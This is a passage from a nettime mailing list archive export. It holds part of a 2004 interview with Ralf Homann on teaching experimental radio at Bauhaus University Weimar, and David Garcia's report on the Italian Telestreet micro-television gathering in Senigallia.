Micro FM Movement in \nGermany. He also gave a workshop about the making and use of small FM \ntransmitters. His performance dealt with the body: In our bodies the \nbuilding and use of radio transmitters is inscribed as fear, as a heavy \noffense and complicated technical challenge, = a secret, and esoteric \npractice. Working with him we dealt with ideas of micr= o politics. A \nparty or picnic, for example can have a political dimension and power. \nDuring the performance students were standing on the dance floor, \nsurrounded by DJs working on turntables. People gathered there and around \na sofa with a small FM transmitter-- we called it =8Cradio sofa.=B9 From \nthe sofa a report about the event was broadcasted to the neighborhood. A \ngoal of thi= s micro-radio-party in the stairways of the department's main \nbuilding was to give the building we were in with its ugly \nnazi-architecture a new connotation. This first project gave an \nintroduction to the idea that radio is not necessarily better if it has a \nlarger audience. The position that radio is only a mass medium refers to \nthe history of radio in the era of Fordism-- the idea of large target \ngroups. The term target group alone show= s its context situated in the \ndecades between WWI and WWII when radio became so popular.\n\nThe next project in 2000, was the internet radio festival called \n=8Ctype=3Dradio~border=3D0.=B9 We set up simulcasting, ether and internet, \nand collaborated with artists like radioqualia and other radio stations \naround the globe including a local self-organized initiative of migrants \nand refugees called =8CThe Voice.=B9 We had several points to get across. \nOn the on= e hand we wanted to say that radio is not a local but a global \nmedium. On the other hand, we discussed the fact that digital data and \ndigital currency ca= n be moved around the world (type=3Dradio is the \nbutton you use to charge a credit card). But when migrants encounter heavy \nrestrictions when they want to physically follow these data.\n\nTS: The Bauhaus in Weimar is the first university in Germany, which \nfounded a Faculty of Media. At The Bauhaus the first MFA program in \nGermany is in the process of being consolidated. The program in \nExperimental Radio is the only one of its kind in Germany, which teaches \nradio in the context of the arts. It seems unavoidable to ask about the \nlinkage between the educationalist tradition of the Bauhaus and your \ncurrent educational practice. Do you draw connections between industry and \nthe university in th= e way Walter Gropius propagated it?\n\nRH: Walter Gropius demanded an educational practice in the arts, which \neducated the artist also in economics very early on as freshmen. The \nFaculty of Media at the Bauhaus included several chairs for media \nmanagement and the department has its own MBA line of study, which focuses \non the economics of creative works, and the culture industry. At the \nmoment we try to set up a chair for the creative commons. Lectures by \nthese professors are open to BFA and MFA students in Media Art and Design. \nWe collaborate on exhibitions, offer internships and support residencies \nfor our students. Gropius' idea was ground breaking back then. Today it is \nsimply reflected in our regular program. Gropius=B9 demanded an education \nin economics that was motivated by the urge to close the gap between art \nand life. We know these ideas also from other artists and movements. \nGropius said that the concept of the traditional German Art Academy \nseparated the artist from daily life. He claimed that it creates a gap \nbetween art for art's sake on the one hand and the people on the other. \nFor him, 'the industry' was part of daily life of the people. Gropius also \nemphasized tha= t German art academies produced artists who were not able \nto make a living. Gropius thought of the artist as a polished, perfected \ncraftsman. But in Modernism the industry has taken over the role of the \ncrafts. We must analyze this situation and draw our own conclusions.\n\nThe Bauhaus University is of course the place where the Bauhaus was \nfounded= . But it is also the location from which the Bauhaus people were \nexiled. Last year we organized a demonstration of students against some \nrestrictions by the City of Weimar. The students showed up in front of \ntown hall with a banner saying: =8CTomorrow Dessau, the next day \nChicago.=B9 They pointed to the corporatization of education \nAmerican-style in Germany and the fact that many teachers at the Bauhaus \nhad to flee Germany and founded a Bauhaus in Chicago. There is always a \ndeep awareness of tradition which is important. Bauhaus University is not \na museum or a kind of fancy seal of the old Bauhaus. We understand Bauhaus \nUniversity as the place where new ideas and concepts emerge. Perhaps we \ncan create a new, electronic Bauhaus. Gropius' demands on economics mean \nsomething different today. The educational principles of Bauhaus \nUniversity are centered around practice. Our so calle= d =8Cprojects=B9 \nare more important than classical lectures or a thoughtless curriculum \nthat teaches tools. Students find solutions for real problems. Our classes \nin media art and design do not stop with the demo design. We always \nrealize the projects. We cannot hide from the fact that students can=B9t \nbe fired. We live in an era of globalization, which means that form \nfollows economics. But if form follows function, then we must think about \nthe function of the arts. When Gropius demanded to close the gap between \nar= t and industry, between daily life and art, then we must ask if this \ngap is real or if it has disappeared long ago. What we need now is perhaps \na new distance between art and industry. But which industry are we talking \nabout anyway? I do not agree with Gropius=B9 slogan that the artist is the \npolished craftsmen as this could be misunderstood simply as mastership of \ntools. I=B9m not interested in prolonging the classification between \npractice and theory= . We are accustomed to think in both these \ncategories. Contemporary art is theory and the theory is its own practice. \nWe need the arts to reflect the practice of theorists and the theorists to \nreflect the production of artists.\n\nTS: What is the professional future of students graduating from your \nExperimental Radio program?\n\nRH: The Experimental Radio program offers a wide range of skills and \nqualifications depending on how long the student is in the program and \nwhic= h individual career she has in mind. Each student individually plans \nfor her study guided by a mentor. The minimum is that students take \ncourses in Experimental Radio only for one segment of their study in order \nto get an overview. They then use these skills for other concentrations \nsuch as TV, public relations, interface or sound design, composition, \njournalism, sculpture, management, cultural studies, or media sciences. At \nBauhaus University it is possible to study architecture and take courses \nin Experimental Radio to get qualified to produce urban radio \ndocumentaries. What's wrong with that? The maximum length of the program \nis five years. A student could finish her BFA in three years and then get \nan MFA in another two years. The Experimental Radio program is based on \nthree segments for students who want to finish with a BFA or MFA in \nExperimental Radio. These three parts of study give undergraduate students \nthe possibility to get involved in projects of other concentrations. They \ncan decide on their own strategy to get ahead. They can, for example, \ncombine different skills from web design, TV, photography, interactive \nmedia or sculpture. At the moment, Bauhaus University is the only place in \nEurope=B9s German speaking area where you can study radio from scratch at \nuniversity-level. Other universities offer radio only on a postgraduate \nlevel or as small part of journalism or literature programs or as an \nadditional offer of a conservatory or a drama school. Radio education in \nGermany is mostly based on training at public radio networks or small \nprivate stations. There is no established academic education in this \nfield. The Experimental Radio at Bauhaus University qualifies the student \nfor a professional future in the public or private radio networks: as an \nauthor, journalist, producer, director, music editor, anchorman, or link \nman. There is only one job we cannot prepare for, which is that of the \nsound engineer as this profession is regulated differently b= y German \nlaw. But we do have two apprenticeships for sound engineers at the \ndepartment. Our focus is always on the individual plan of the student. \nSome examples: There are students in the program who see their future as \nDJ, owner of a record label and composer in the field of electronic dance \nfloor. Other students want to work as freelancers in radio journalism, as \ndirector in radio drama, or as artists who are interested in audio works. \nAgain, other artists use the projects to question strategies of \nintervention in public space. And there are students who are more \ninterested in creating new software using the courses of Experimental \nRadio to be challenged and find real problems that they will need to \nsolve. Sometimes filmmakers or club VJ= s visit our lectures because \nExperimental Radio is more linked to pop culture or tactical media than \nother departments. This heterogeneous crowd gives ou= r classes a special \nspirit because this kind of mixed scene is what you will find also outside \nthe university in the professional field. We teach radio in the context of \nthe fine arts. This concedes newer developments in contemporary art and \ngoes beyond the traditional =8CGerman Hoerspiel=8C (radio play) which is \nrooted in theater or literature before the 1960s. This tradition was \ntransformed by the likes of Klaus Schoening who curated the Ars Acustica \nat documenta 8 (an international art exhibition) o= r Heidi Grundmann at \nAustrian radio ORF. Another example is the department of Radio Drama and \nMedia Art at the Bavarian Broadcasting Corporation. This focus on fine \narts educates students to use radio as a tool for their art, as a strategy \nin public space, for actions or interventions but also to create objects, \nenvironments or performances in the white cube, sound installations, \nacoustic images, documentaries or radio dramas. The Experimental Radio, in \nparticular, offers contexts to develop such artworks= . Students get a \nchance to develop individual strategies, transfer their skills across \nmedia or expose their work to a new kind of public audience. This is part \nof the education in media art and the professional field of th= e students \nhere.\n\nTS: Between the techno-optimism of the 1990s and the techno-skepticism put \nforward by more traditional cultural theorists, which approach to \ntechnolog= y do you propagate?\n\nRH: Nice question. For me technology is part of the so-called 'natural \nworld.' We must live with this fact. It is possible to make radio without \ntechnology, because radio is the idea to make radio and imagine \ntechnology. Walter Klingenbeck=B9s group is a very good example because \ntheir radio never started, but the group was working in the German \nresistance. You could find more examples of pirate radio stations or radio \nfans who never broadcast bu= t who create small groups of people who meet \nin the street. That=B9s a phenomenon of radio. The aim of our radio \nprogram is always to bring people together face-to-face. We cannot \nbroadcast faces so we are careful not to loose this aspect of the medium. \nThere are some programs which are rooted i= n the authoritarianisms ruling \nthe world, at times when radio was set up similar to the news, or the time \nsignal, which organizes a virtual mass in front of the unique sender or \nleader. But the basic message of modern programs including the commercial \none is that you are not alone, you are part of a group and please go out, \nand meet this group or at least face our product in the supermarket. The \nargument that radio diverts or lulls the listeners is wrong. I do not \napproach technology in categories of optimism or skepticism. I am \ninterested in an analysis of uses of technology for freedom. I was not a \nfan of the 1990s idea that the internet will make the world automatically \nbetter or that it will create some kind of truly digita= l democratic \nsociety. We could only observe that the internet was going opposite ways \nthan Radio or TV. Radio and TV were highly regulated by the state through \ntechnical standards. Now we have the experience of tactical media. We now \nsee a lot of initiatives to get regulations in place and to limit the old \nsystems of distribution. Have a look at what has happened wit= h Indymedia \nover the last few days in the UK. It's back to radio. I prefer this \ntechnology because radio is a dancing media. Moving around the body is \nalways better off than sitting in front of a screen or being pinned down \nin a cinema seat. I prefer the digital wired, the analogue wireless \nsolution, because nobody can control who listens.\n\nTS: Three years ago you helped put together the \"bauhaus radio reader.\" \nThe widely acknowledged current crisis in new media arts education is in \npart grounded in the need to find texts with tolerable expiration dates. \nWhich texts do you read with your students?\n\nRH: The project of =8Cbauhaus radio reader=B9 deals with this problem, \nbecause at the moment we cannot find a good compilation of texts. This \nproject is not finished, it is more a crawl over the screen and a never \nending story. In my opinion radio is a medium for illiterates. We can make \nit without texts. Especially in Germany we find a lot of texts about radio \ndealing wit= h problems we never faced. It=B9s a pity because in former \ntimes German Radio theory was very interesting. But perhaps after \nAdorno=B9s denunciation of the medium nobody was really interested to work \nhard on contemporary radio theory. Now you mostly get fights between high \nculture and pop or the peopl= e who try to protect children by demanding \nregulations for censorship. For the foundations year in Media Art and \nDesign we use a fine compilation, edited by my colleagues at the \nDepartment of Media Culture Klaus Pias, Joseph Vogel, Lorenz Engell, \nOliver Fahle, Britta Neitzel, which is called \"Kursbuch Medienkultur.\" \nThis compilation gives a good overview about media theory from Brecht to \nBaudrillard. French philosophy is very important. In the basic program of \nExperimental Radio we use LaRoche=B9s and Buchholz=B9 \"Radio \nJournalismus,\" and Michael Dickreiter=B9s \"Handbuch der Tonstudiotechnik.\" \nThose are the German standards for working in professional Radio. We also \nuse Douglas Kahn=B9s and Gregory Whiteread=B9s compilation \"Wireless \nImagination\" and Neil Strauss=B9 and Dave Mandl=B9s \"Radiotext(e).\" Apart \nfrom that we read Tetsuo Kogawa and of course Geert Lovink=B9s books \ndealing with radio and tactical media. To discuss ideas of free radio we \nus= e a compilation from the Swiss \"Klipp and Klang Group\" called \"Kurze \nWelle, Lange Leitung,\" which was published by the Zurich art space \nShedhalle. We also read Hakim Bey=B9s \"Radio Sermonettes\" in the \nfoundations program and Gerald Raunig=B9s compilation \"Transversal, Art \nand the Critic of Globalization,\" and Marius Babias=B9 compilation \"Im \nZentrum der Peripherie, Kunstvermittlung und Vermittlungskunst in den 90er \nJahren,\" which deals wit= h art movements in the 1990s. In addition, we \nuse professional magazines from media politics and media research to pop \nmusic and contemporary art. For Students who are in the program for a \nlonger time I offer a seminar in whic= h we read texts or discuss articles \nfrom recently published catalogues, but also some texts from the US free \nradio movement.\n\nTS: Which proposals do you have for alternative structures in new media \nart= s education?\n\nRH: Dealing with media always means that we can loose sight of our goals. \nThe worst case is when you end up working mainly to find sponsors for your \nnext project. We need a space where it is possible to reflect and test \ndriv= e differences in order to find the next utopian position. Technology \nand economics are the basics but do not get us a better world. I remember \nthat picnic was the tool to get a brick into the Iron Curtain. We need \nsuch picnics for new media education and perhaps we need more parties.\n\nTS: How do you foster cooperation in the classroom and beyond?\n\nRH: We have no classroom, only a studio for the art works and a radio \nstudi= o for the live broadcast. In the first place we are always focused \non production. In our studio you can make programs as a lonesome cowboy \nbut that=B9s boring. Mostly there are teams creating programs: authors, \nanchormen= , music editors or DJs, directors and producers. It's always \nmore than one person working in the studio. Commonly this is necessary \nsimply to use the complex tools. You need support from other students who \nread more tutorials= . There is one central meeting for each project. Here \nwe discuss all question= s and set up working groups and teams for an \nexhibition, an excursion, the production of a radio drama or a magazine of \nthe weekly program. Especially the final presentation at the end of a \nperiod must be organized within teams. At Experimental Radio teamwork is \ncommon and every second summer I offer a special project dealing with \ncollaborative work between artists or groups to discuss structure, \nproblems of communication or secret hierarchies. One project included an \nexcursion to the opening of the Venice Biennial. Such excursion must be \nprepared by students and forces cooperatio= n and group-building. Bauhaus \nUniversity is located in the small downtown of Weimar. Most students live \nin flat-shares and there are some clubs in town, mostly visited by \nstudents. As part of our final presentation we organize special programs \nat these places where we stream media. Weimar is situated in the middle of \nGermany, Berlin is near, big cities like Frankfurt, Munich= , Hamburg or \nPrague are not far away either. Students come from all over Germany not \nonly the surrounding cities. It is very common for students to travel \naround, to make excursions to important festivals, concerts or exhibitions \nto create their own network to realize their projects. They support each \nother with their experiences and varying skill sets. Graduate students \nhave the right to make so called \"free projects.\" This means that students \ncan set up their own group or collaboration with students at other \nuniversities, or work together with professionals and get my advice. My \nprogram runs several mailing lists and a server to support communication \nwhen students are not in town. Usually we involve students who are abroad \na= s part of a student exchange in our weekly program with reports via \nstreaming media or help them by organizing small-budget collaborative \nexhibitions.\n\nTS: How do you make use of social software in your radio programs? Please \ngive examples of the way you used streaming audio and video in educational \ncontexts.\n\nRH: We use software to organize group work, to set up collaborations. We \nprefer mailing lists for all lectures and we use web logs for technical \nsupport, uploads and downloads to exchange files. We try to use open \nsource software for all applications but it is not always possible. We \ncan't ignor= e the fact that we educate students for their professional \nfuture, and if outside the university there is no professional application \nof open source, then we can=B9t teach it inside the university either. To \nencode our streams we created our own open source software, called \no-stream, which uses the og= g vorbis file format. Last year as part of \nour collaboration with the French art school Villa Arson we had a workshop \nin Nice, which we streamed as well= . I prefer open source because it \nallows us to twist the software according t= o our needs. The issue of \nsoftware licenses, or creative commons is part of education. We made \ndocumentaries for example and organized an exhibition that dealt with so \ncalled open culture. The course was taught by the artists Cornelia \nSollfrank and Laurence Russel. It included an excursion an= d a workshop \nabout the \"Wizard of Oz\" conference in Berlin where Lawrence Lessig of \nStanford University presented his notion of the creative common license. \nWe use streaming media; of course for internet radio. In our weekly radio \nprogram we use simulcasting, ether and internet. Beside this line of \nproduction we foster audio streaming for special events. We focus on the \nesthetic possibilities of the tool such as delay or noise. We use it to \nrealize our collaborations in the city and with other places, like the \ncollaboration with Tetsuo Kogawa in Tokyo. We also did a stream with your \nstudents at The Department of Media Study. From 2000 until June 2004 we \nhad a collaborative program, called pingfm. The students of this group \nbroadcasted every Sunday together with Amsterdam-based artists like Toek \nfrom Radio100. Until June we had our own studio for pingfm with its \nstreaming sessions but now the students stopped because they are about to \ngraduate. I started audio streaming in 1999 when I came to Weimar. I \nstarte= d by involving a student team in the Net Aid Campaign to support \nRadio B92 in Belgrade during the Balkan war. Streaming video is not my \nfavorite. As an artist I create a lot of visual works but as part of my \nteaching at Experimental Radio I demand that the time-based and \nbroadcasted programs are without pictures. Students sometime= s use web \ncams or create great visuals in the context of VJ-ing parallel to the \naudio stream but I do not encourage that. If we use visuals than they \nshould be received like radio or act like paintings in a gallery: You can \npass by, the body should have all options in the space where you show it.\n\nTS: Thank you for the interview.\n\nThis interview was conducted in the context of a series of events on new \nmedia arts education by the Institute for Distributed Creativity \nhttp://distributedcreativity.org\n\n\n\nReferences\n\nStudio B11- Experimental Radio\nhttp://radiostudio.org\nhttp://bauhaus.fm\n\npingfm - a netbased platform for audio/video experiments\nhttp://pingfm.org\n\nTransit~wellen is a project by schleuser.net, which is situated in the area\nof contradictory communication about public space.\nhttp://transitwellen.net\n\nExperimental Radio, Ralf Homann\nhttp://www.uni-weimar.de/medien/lehrgebiete/radio.htm\n\nWizards of OS conference, Berlin\nThe Future of the Digital Commons\nhttp://www.wizards-of-os.org/\n    =20\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 08 Nov 2004 01:06:12 -0500",
                "to": "nettime - posting <nettime-l {AT} bbs.thing.net>",
                "message-id": "E1CRBlH&#45;0001v5&#45;Sw {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0411/msg00027.html",
                "list": "nettime_l",
                "author_name": "Trebor Scholz",
                "subject": "<nettime> Interview artist and educator Ralf Homann"
            },
            {
                "content-type": "text/plai",
                "from": "David Garcia <davidg {AT} xs4all.nl>",
                "id": "00016",
                "content": "\n\"A Global Sense of Place\"\nReport from Eterea 2\nMeeting of Italian Tactical Television Makers\n\n\nMarch 25-28th, 2004 the second major gathering of the Telestreets took place\nin Sennegallia.\nHere are some notes from a short visit to the world of Telestreets.\n\nBackground\nTelestreet, the latest wave in the rich history of Italian media activism,\nhas been fairly widely reported on this list and elswhere but some of the\nbasics are worth revisiting briefly.\n\nTelestreets are semie-legal micro-broadcasters, literally street TV makers\nusing small transmitters to send programes that mostly reach no more than a\nfew blocks. Telestreets range from making their own local items to capturing\nthe programming (such as big football matches) from the commercial satellite\noperators and re-broadcasting them for free on Telestreet networks.\n\nTelestreets operate between the legal and technological cracks of the\nItalian mediascape, squatting the shadows or blank spots which terrestrial\nbroadcasters cannot reach leaving a shadow on the broadcast spectrum which\nthe Telestreet groups occupy.\n\nTelestreet reclaims the \u008csocializing\u0161 power of television. As a medium video\nretains an immediate accessibility which does not even need to presume\nconventional literacy. The immediacy and expressive rewards of making TV has\nenabled Telestreet to appeal to a much wider constituency than just \"the\nmovement\" or  hacktivists. But despite the apparent return to the earlier\ntactics of the broadcast media pirates, Telestreet is a more complex and\ninteresting hybrid. As their manifesto declared \"Television must be\nconsidered a new prosthesis and an extension of the net: but to avoid\nanother media alternative \"ghetto\", the horizontally of the net must meet\nthe \"socializing\" power of television.\"\n\nOrfeo TV in Bologna is believed to have started the ball rolling when it\nbegan transmitting in 2002, just a few blocks away from the site of the\nlegendary Radio Alice, and has since been described as her \"bastard\noffspring\". What began in Bologna with a few transmitters was soon \"joined\nin a circulation of struggle through a network of websites; they are now\nconnected through 'tactical television' to other Italian microbroadcasters\nlike 'no-war TV', 'urban TV', and 'global TV'.\"  In what Mark Cot\u00e9 describes\n\"as an emerging network of infrapower\".\n\nThe Telestreet phenomenon is another splinter from the legacy of the Italian\nautonomy movement of the  1960s and 70s, a politics which brought down on\nitself the wrath of both right and Italian communist party by privileging\ndesire and expression over either market forces or party discipline. It\nre-booted anarchist ideas for a post-industrial age, introducing notions of\n\"immaterial labor\", \"post fordism\" and \"refusal to work\". The influence of\nthese ideas has fluctuated but grown steadily with fall of the eastern bloc\nand the rise of the virtual class. But perhaps only \"refusal to work\"and\n\"class composition\" have survived the co-option by \"communicative\ncapitalism\" and \"third way\" social democrats.\n\nThe first meeting of the Telestreets (Eterea 1) was held in Bologna in 2002\nat a point when there were only two or three nodes in existence. But it was\nat this meeting when Telestreet was conceived and launched not just as a\nplatform but as a political campaign. Two years later what began as a small\nnetwork of interventions has become a catalyst for wider resistance. Today\nthe network includes more than a hundred nodes (the number fluctuates daily)\nand stretches the length and breadth of Italy.\n\nThe Gasparri law and the Counter Reformation\nThe recent meeting of the Telestreets (Eterea2) was needed to address\nquestions that had grown more urgent as Telestreet has expanded. With rapid\ngrowth has come  diversity and questions about whether it is still possible\nto achieve a common strategy. This was given heightened significance by the\npassage of the Gasparri law (Gaspari is the minister of communication),\nallowing Berlusconi to consolidate his dominance of the Italian mediascape.\nThe passing of this law leaves many in the Italy believing that they are\nfacing an unparalleled political emergency. When I asked the well known\nautonomist and writer Franco Berardi (Bifo) how the Berlusconi\nadministration sought to justify there actions, \"what do you mean justify\"\nhe responded in mock amazement \"We are a country of the Counter Reformation,\nthere is no need for argumentation. If you win, you win.\"\n\nGiven the fact that this is a defining moment both for Telestreet and\nItalian politics the choice to hold the meeting in Sennegallia, a small\ncoastal resort was surprising. Indeed this choice along with the agenda of\nmuch of the meeting was resisted by a number of militants in Telestreet. The\ndissenting voices argued that the meeting be both attempting a higher\nprofile and be focused exclusively on mobilizing resistance against the\nBerlosconi regime.\nThere was however one good reason for holding the meeting in Sennegallia and\nthat reason was the Sennegallia\u0161s own Telestreet: Disco Volante.\n\nDisco Volante\nNothing about the Disco-Volante studio suggests radical media culture.\nIt is located in the sleepy back streets of Sennegallia and is part of\n\"Zelig\" a local project in which the disabled and able bodied share a studio\nand make art together. The project is the long term initiative of\nartist/activist Enea, the buoyant host of the meeting. The front of the\nnarrow studio space gives no clue that any electronic media are present or\nindeed welcome. The studio is an overflowing torrent of collages, maquetts,\nsculptures, paintings, decorated found objects and countless toy theaters.\nThe atmosphere is a mixture of the controlled naivet\u00e9 and chaos of an artist\nfrom the Cobra era and Geppetto\u0161s workshop in Pinocchio.\nA wall near the entrance is covered with numerous awards and photographs of\nceremonies at which Zelig participants are being honored as well as images\nfrom trips and adventures. This is art and media activism with deep local\nroots.\nThe technology of the TV studio in the back of the space sits easily\nalongside the paints and carpentry tools that could have been found in any\nartist\u0161s studio of the last 500 years. Enea, the director (this is not a\ncollective) informs me that this is not art as therapy, neither is it some\n\"art in the community\" project it is simply a space which is open to those\nwith disabilities to join him in concocting some version of the good life\nout of the process of making art together in pleasant surroundings. The fact\nthat this also happens to be combined with a semi legal TV station that\nmixes a relaxed expressionism with militant campaigning for disability\nrights is both a fact and appropriately incidental.\nIts quite hard to find words to do justice to the atmosphere of energized\ngenerosity that pervades the Zelig studio.\n\nAstonishingly Disco Volante was the first Telestreet to have been forcibly\nshut down by the ministry of communication. The actual transmitter was not\nconfiscated instead it was sealed  by ministry officials, a seal it would be\na criminal offence to break. Enea takes the sealed transmitter around with\nhim displaying it as an emblem of repression.\nOf all the Telestreets to choose as a test case for a ministerial clamp\ndown, why pick on a channel for disabled people? The explanation lies in the\nfact that it was not merely tolerated by Sennigallia\u0161s local government it\nwas actively encouraged. This was not only a battle between Telestreets and\nthe ministry but also between local and national government. These are the\nregional complexities of Italian politics, complexities go back a long way,\nthink for example of the leading role played by the communist party in the\ncrack down and destruction of Radio Alice in Bologna.\n\nDisco Volante\u0161s position as test case combined with a supportive local\ngovernment willing to sponsor the event made Sennegallia the obvious choice.\nBut more importantly it also provided the opportunity to mount a direct\nchallenge to the law by resuming transmisions of the proceedings of the\nTelestreet gathering, on channel 52, the frequency from which Disco Volante\nhad been expelled.\n\nEterea TV: Channel 52\nTransmissions from the meeting began almost immediately but by the end of\nthe first afternoon there were rumours of the police trying to locate the\nsource of the transmissions.\nBy evening the rumours had been confirmed and an impromptu meeting was\ncalled to descide how to respond to the police pressure. We crowded into a\nsmall room at the \"colony\", where most people were staying and our host\nEnea, who was clearly enjoying himself, introduced a local radical lawyer\nwho was present to advise on the risks and help us weigh up the options.\nEnea himself, informed us that he had actually visted the police himself\nthat afternoon to ask what they intended to do. The officer in charge of\npolicing the airwaves had declared himself no friend to this law but also\nsaid he was a familly man and not about to lose his job defending us. So\nwhat to do? Carry on transmitting and risk the event being shut down and\nequipment being confiscated or back down? Some militants from Naples even\nproposed going on the offensive by transmitting on a frequency that would\npush the populist commercial Rete 4 off the air. Although the meeting did\nnot opt to go down this rout, they still decided to go ahead with the\ntransmissions on channel 52 and indeed to increase their visibility by\nmaking their programs as publicly as possible, out in the market and\nsurrounding streets and transmitting them the same day. Moreover a reporter\nfrom national broadcaster Rai 3 would be covering the actions to be\ntransmitted on national television.\nThe transmissions proceeded without interruption. Later that weekend, on\nSunday night I was amazed to see that indeed this small action in\nSennegallia as well as the Telestreet meeting itself did indeed warrant a\nfive minute slot on the national news. Italian media militants may be\ncorrect in declaring that they live in a media dictatorship but their work\nhas more effect and visibility than in most of the rest of Europe By\ncontrast we in northern Europe inhabit the dictatorships of indifference.\n\nMilitants: Activists: Expressevists\nThe arguments and struggles which dominate Telestreet, can be seen as a\ndynamic triangulation between three categories or modalities of the\ntactical: militancy, activism and expressevism. Here are some rough working\ndefinitions.\n* Militancy: On the second day of the meeting Franco Berardi (Bifo) spoke up\nfor militancy when he rounded off his \"hair raising\" speech by declaring\nthat in the current political emergency the last thing we should be doing is\n\"embracing our miserable marginality\". In his talk he spoke for those who\nfavor direct action, for the politics of maximum visibility and playing for\nhigh stakes. For the militants the emphasis on micro-media should not be\ntranslated into the irrelevance of micro-politics.\n* Activism: for activists  micro-transmissions and micro-politics far from\nbeing ineffective have a viral power and ultimately can be more significant\nthan engaging directly with the spectacle of national politics and big\nmedia. Micro media actions can multiply below the radar of the powerful and\nonly be noticed when they have become to strong to crush. This notion of\nactivism includes long term and highly situated commitments, like\nDisco-Volante (or for that matter Autolabs in Sao Paolo, or Sarai in New\nDelhi) whose reverberations go deep and produce new kinds of connective\nlocality. This practice is less obviously heroic than militancy, it engages\nin fresh ways with every day struggles and affirms ordinary life.\n* Expressionism: the final essential modality of the tactical, expressivism,\nis sometimes referred to rather anemically as \"cultural politics\" and\nsometimes as art. In fact it can be art, but it is also *more* than art and\nits specific claim on loyalty is in urgent need of recuperation.\nExpressevism is a politics not just of power (i.e. sovereignty) but of\nlanguage. The power of language to make and rehearse worlds, worlds whose\nforms resist pre-determination. This usage refers to language in the\nbroadest sense of the word. It includes all experimental arts and invention,\nincluding the technological.  Expressevist politics are based on our\nawareness that in a world of contingent horizons, our sense of meaning\ndepends, critically, on our powers of expression. \"And that discovering a\nframework of meaning is interwoven with invention\" [1].\nWhether or not this generation of utopian political movements can avoid new\nforms of authoritarianism will depend on the vigilant defense of the\nexpressevist dimension and its subversive freedoms. History shows artists\nare like the canaries that used to be carried by miners, they give early\nwarning of toxins in the ether.\n\nThe greatest danger for Telestreet is to split along the faultlines of any\nof the modalities. If Telestreets (indeed all tactical media) are to retain\ntheir characteristic bite; militancy, activism and expressevism must all be\npresent or all will be lost. In each of the particular cases of a\nTelestreet, one or two of these modalities will always predominate, but it\nis only by retaining all three, in variable orchestrations, that we will see\nthe formation of real difference, effectiveness and freedom.\n\nGlobal Telestreet\nWhatever the differences within the Telestreet movement there is consensus\non the need to scale up. Some voices would like to see it gain its own\nnational frequency others would prefer local autonomy to prevail with each\nTelestreet extending and intensifying the process of expansion through\nnetworking and the sharing of content. Making the dream of effectively\nhybridizing Telestreet through networking and content sharing was explored\nin different ways throughout the days of the meeting. From Alan Toner\u0161s\n(Autonomedia) [1] detailed and knowledgeable exposition of the ways in which\nthe approaches of \"the creative commons\" movement were being and could be\nfurther applied to Telestreets through to the technical solutions being\noffered by New Global Vision [3].\n\nThe remarkable NGVision project was founded in the wake of the Genoa G8\nprotests. It set out to make the hundreds of hours of activist material\nfreely accessible in a single location as common resouce. They currently\nhave the space of 5 servers, stocked with around 300 videos, with a new tape\nbeing added at least once a week. NGVision uses bit-torrent to make the\ndownload times relatively fast, an hour of video can be downloaded in\napproximately fifteen minutes. NGVision is already in extensive use with\napproximately 10.000 videos being downloaded per month. NGVision has offered\nits system for use by all Telestreets in Italy and beyond.\n\nAlthough the local roots and Italian political theater help to make\nTelestreet strong the atmosphere can also be rather self referential and\ninward looking. But there is a growing realization that to survive\nTelestreet needs to reach beyond the conceptual boundaries of national\npolitics. Slowly a translocal awareness is occurring in part through the\nwork of writers like Agnese Trocchi and Mateo, Pasquinelli and Mark Cot\u00e9\nwhose work is helping to spread the Telestreet virus. Versions of Telestreet\nare already beginning to spring up in Holland, Switzerland (Proxyvision) and\nmost recently as Telesione Piquetera the first Telestreet in Argentina [4].\n\nCecelia Landsman and myself were attending the meeting on behalf of\nAmsterdam\u0161s version of Telestreet: Proxyvision. In our presentation we\nemphasized the translocal dimension of Telestreet [5].\nItalian Telestreet works in part because it is embedded in local histories\nbut is also through inspiring similar initiatives elsewhere. Our point is\nthat once these initiatives take hold active connections and support from\nthe more developed Italian Telestreets will take the project down pathways\nunconstrained by the puppet show of national party politics.  The ways in\nwhich this process is already occurring are helping to a relatively new kind\nof *situated metropolitan tactics*. From this perspective, rather than\nimagining that the networks have made boarders disappear, we see\nthe emergence of new ways of organizing locally that (by the very act of\nconnecting across and through our differences) lead us towards something\nlike a \"global sense of place\".\n\nDavid Garcia\n\n\nhttp://www.telestreet.it/\n\n[1] Sources of the Self. Charles Taylor 1993\n\n[2]\n<http://amsterdam.nettime.org/Lists-Archives/nettime-l-0302/msg00116.html>\nI later found a quote of Alan Toner from an essay he wrote about the\nanti-Iraq war demo in Rome which could equally be applied in the Telestreet\ncontext. \"Challenges on this scale put into perspective the sniping between\ndifferent radical factions and pose once again the problems of\nrepresentation. How can practices of self-organisation, democracy and direct\naction proliferate?\"\n\n[3] http://www.ngvision.org/index.en.html\n\n[4]\nhttp://www.metamute.com/look/article.tpl?IdLanguage=1&IdPublication=1&NrIssu\ne=24&NrSection=5&NrArticle=1368&ST_max=0\n\n[5] Proxyvision Presentation\nhttp://www.radioalice.org/nuovatelestreet/modules.php?op=modload&name=News&f\nile=article&sid=59&mode=thread&order=0&thold=0\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 13 Apr 2004 16:32:05 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200404140620.i3E6Kof05899 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0404/msg00016.html",
                "list": "nettime_l",
                "author_name": "David Garcia",
                "subject": "<nettime> \"A Global Sense of Place\""
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00023",
